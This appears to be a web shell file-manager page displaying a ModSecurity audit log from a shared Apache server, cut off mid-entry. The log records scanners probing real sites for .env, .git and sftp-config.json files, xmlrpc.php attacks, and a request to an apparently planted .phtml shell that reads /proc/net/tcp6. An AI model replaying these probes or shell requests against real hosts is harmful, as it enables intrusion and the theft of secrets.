D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
proc
/
self
/
fd
/
Filename :
5
back
Copy
--96edd716-A-- [16/Jun/2025:00:00:18.720988 +0530] aE8ROTNmJYg3I3bRaAgNlAAAAAU 128.199.112.101 42758 127.0.0.1 7081 --96edd716-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 496 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --96edd716-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --96edd716-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (43+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (43+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8ROTNmJYg3I3bRaAgNlAAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012217547727 1173326 (- - -) Stopwatch2: 1750012217547727 1173326; combined=2372, p1=429, p2=1499, p3=58, p4=79, p5=191, sr=100, sw=116, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --96edd716-Z-- --dbfca234-A-- [16/Jun/2025:00:00:52.637733 +0530] aE8RW2uCR1auBLUP7R-jVwAAAAg 185.177.72.210 55574 127.0.0.1 7081 --dbfca234-B-- GET /.git/logs/HEAD HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --dbfca234-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=52fa051b6ab4f7e37961109bd4b468391750012252; expires=Sun, 15 Jun 2025 19:30:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --dbfca234-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.git/logs/HEAD"] [unique_id "aE8RW2uCR1auBLUP7R-jVwAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012251954271 683543 (- - -) Stopwatch2: 1750012251954271 683543; combined=1826, p1=377, p2=1328, p3=0, p4=0, p5=121, sr=85, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --dbfca234-Z-- --60f83456-A-- [16/Jun/2025:00:01:04.574522 +0530] aE8RZp9la7T0lySWw7UATwAAAAQ 167.99.71.58 51264 127.0.0.1 7081 --60f83456-B-- GET /sftp-config.json HTTP/1.0 Host: www.home9ine.com X-Real-IP: 167.99.71.58 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0 Accept-Encoding: gzip, deflate Accept: */* --60f83456-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Set-Cookie: _sfs_id=1b69a5be95c0d8df01e04ca3db37d9051750012263; expires=Sun, 15 Jun 2025 19:31:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --60f83456-H-- Message: Warning. Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.home9ine.com"] [uri "/sftp-config.json"] [unique_id "aE8RZp9la7T0lySWw7UATwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/home9ine.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012262381920 2192690 (- - -) Stopwatch2: 1750012262381920 2192690; combined=2120, p1=424, p2=1583, p3=0, p4=0, p5=113, sr=94, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --60f83456-Z-- --0f692e17-A-- [16/Jun/2025:00:01:08.105920 +0530] aE8RbC7MaF0j8lD2KTIO8gAAAAM 52.45.77.169 51548 127.0.0.1 7081 --0f692e17-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=//proc/net&viewfile=//proc/net/tcp6 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 52.45.77.169 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Chrome/119.0.6045.214 Safari/537.36 Accept-Encoding: gzip,deflate --0f692e17-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 3403 Connection: close Content-Type: text/html; charset=UTF-8 --0f692e17-H-- Message: Warning. Matched phrase "proc/net/tcp" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/net/tcp found within ARGS:viewfile: /proc/net/tcp6"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/net/tcp" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/net/tcp found within ARGS:viewfile: /proc/net/tcp6"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE8RbC7MaF0j8lD2KTIO8gAAAAM"] Apache-Handler: application/x-httpd-php Stopwatch: 1750012268100472 5501 (- - -) Stopwatch2: 1750012268100472 5501; combined=2235, p1=363, p2=1750, p3=41, p4=29, p5=52, sr=112, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0f692e17-Z-- --a7060805-A-- [16/Jun/2025:00:01:09.216399 +0530] aE8RbK7jjZllglTPVFaHaQAAAAk 185.177.72.210 51580 127.0.0.1 7081 --a7060805-B-- GET /:5000/configurationtion/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a7060805-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5d29d2b7280e27130734a12f0c28c8a41750012269; expires=Sun, 15 Jun 2025 19:31:09 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a7060805-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/configurationtion/.env"] [unique_id "aE8RbK7jjZllglTPVFaHaQAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012268548042 668449 (- - -) Stopwatch2: 1750012268548042 668449; combined=2000, p1=471, p2=1432, p3=0, p4=0, p5=96, sr=132, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a7060805-Z-- --a9049547-A-- [16/Jun/2025:00:01:10.281720 +0530] aE8RbaSMmxZaGWa7XLL20gAAAAY 185.177.72.210 47694 127.0.0.1 7081 --a9049547-B-- GET /test/bdd/fixtures/agent-rest/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a9049547-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4b4140665fb6f960c242c867a05cb6e71750012270; expires=Sun, 15 Jun 2025 19:31:10 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a9049547-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/test/bdd/fixtures/agent-rest/.env"] [unique_id "aE8RbaSMmxZaGWa7XLL20gAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012269569196 712587 (- - -) Stopwatch2: 1750012269569196 712587; combined=1797, p1=348, p2=1347, p3=0, p4=0, p5=101, sr=80, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a9049547-Z-- --1564d27a-A-- [16/Jun/2025:00:01:11.260822 +0530] aE8RbmuCR1auBLUP7R-jXwAAAAg 185.177.72.210 47724 127.0.0.1 7081 --1564d27a-B-- GET /donn%C3%A9es/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1564d27a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=78497e79c0b89184c0aeb8195b9b2f581750012271; expires=Sun, 15 Jun 2025 19:31:11 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1564d27a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/donn%C3%A9es/.env"] [unique_id "aE8RbmuCR1auBLUP7R-jXwAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012270614178 646735 (- - -) Stopwatch2: 1750012270614178 646735; combined=1689, p1=376, p2=1226, p3=0, p4=0, p5=87, sr=102, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1564d27a-Z-- --3769d64f-A-- [16/Jun/2025:00:01:17.448783 +0530] aE8RdDNmJYg3I3bRaAgNxAAAAAU 185.177.72.210 48032 127.0.0.1 7081 --3769d64f-B-- GET /:5000/v1/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3769d64f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=207ebd6acfe9cd1a95e8ce71aafd87df1750012277; expires=Sun, 15 Jun 2025 19:31:17 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3769d64f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/v1/.env"] [unique_id "aE8RdDNmJYg3I3bRaAgNxAAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012276789813 659033 (- - -) Stopwatch2: 1750012276789813 659033; combined=2104, p1=373, p2=1636, p3=0, p4=0, p5=95, sr=107, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3769d64f-Z-- --1c530d4a-A-- [16/Jun/2025:00:01:18.358596 +0530] aE8RdWuCR1auBLUP7R-jYgAAAAg 128.199.112.101 48044 127.0.0.1 7081 --1c530d4a-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --1c530d4a-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --1c530d4a-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (48+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (48+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8RdWuCR1auBLUP7R-jYgAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012277424801 933856 (- - -) Stopwatch2: 1750012277424801 933856; combined=2295, p1=349, p2=1471, p3=48, p4=74, p5=217, sr=94, sw=136, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1c530d4a-Z-- --bbb2917f-A-- [16/Jun/2025:00:01:25.331397 +0530] aE8RfMeCLQXSV5p8-VEavgAAAAA 185.177.72.210 48140 127.0.0.1 7081 --bbb2917f-B-- GET /:8443/example/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --bbb2917f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c793dba3b3c946a2aa08ade9a0812b481750012285; expires=Sun, 15 Jun 2025 19:31:25 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --bbb2917f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/example/.env"] [unique_id "aE8RfMeCLQXSV5p8-VEavgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012284644922 686539 (- - -) Stopwatch2: 1750012284644922 686539; combined=1810, p1=347, p2=1360, p3=0, p4=0, p5=102, sr=80, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bbb2917f-Z-- --7ee1c35b-A-- [16/Jun/2025:00:01:26.312924 +0530] aE8RfS7MaF0j8lD2KTIO-wAAAAM 185.177.72.210 48196 127.0.0.1 7081 --7ee1c35b-B-- GET /.gitlab-ci/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7ee1c35b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=088b78ef2b0d25ab5e3b78a6a59b52981750012286; expires=Sun, 15 Jun 2025 19:31:26 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7ee1c35b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.gitlab-ci/.env"] [unique_id "aE8RfS7MaF0j8lD2KTIO-wAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012285649774 663214 (- - -) Stopwatch2: 1750012285649774 663214; combined=1914, p1=385, p2=1440, p3=0, p4=0, p5=88, sr=100, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7ee1c35b-Z-- --075a360e-A-- [16/Jun/2025:00:01:33.616281 +0530] aE8RhDNmJYg3I3bRaAgNywAAAAU 185.177.72.210 56550 127.0.0.1 7081 --075a360e-B-- GET /:8888/dev/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --075a360e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1b758452e8c2895d2b457f51f7fe75321750012293; expires=Sun, 15 Jun 2025 19:31:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --075a360e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/dev/.env"] [unique_id "aE8RhDNmJYg3I3bRaAgNywAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012292968465 647879 (- - -) Stopwatch2: 1750012292968465 647879; combined=1688, p1=390, p2=1213, p3=0, p4=0, p5=84, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --075a360e-Z-- --c4f71213-A-- [16/Jun/2025:00:01:37.662577 +0530] aE8RiK7jjZllglTPVFaHdgAAAAk 185.177.72.210 56716 127.0.0.1 7081 --c4f71213-B-- GET /:5000/.env_hidden HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c4f71213-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=198fd1f127a2d5df3a2e567fe76d23441750012297; expires=Sun, 15 Jun 2025 19:31:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c4f71213-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/.env_hidden"] [unique_id "aE8RiK7jjZllglTPVFaHdgAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012296966196 696473 (- - -) Stopwatch2: 1750012296966196 696473; combined=1758, p1=368, p2=1285, p3=0, p4=0, p5=105, sr=87, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c4f71213-Z-- --14d28f49-A-- [16/Jun/2025:00:01:49.341042 +0530] aE8RlKzY0BMZNmg1_r12-QAAAAc 185.177.72.210 36034 127.0.0.1 7081 --14d28f49-B-- GET /:8181/examples/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --14d28f49-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d75900f24f4bc53c2028ae59194041a71750012309; expires=Sun, 15 Jun 2025 19:31:49 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --14d28f49-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file 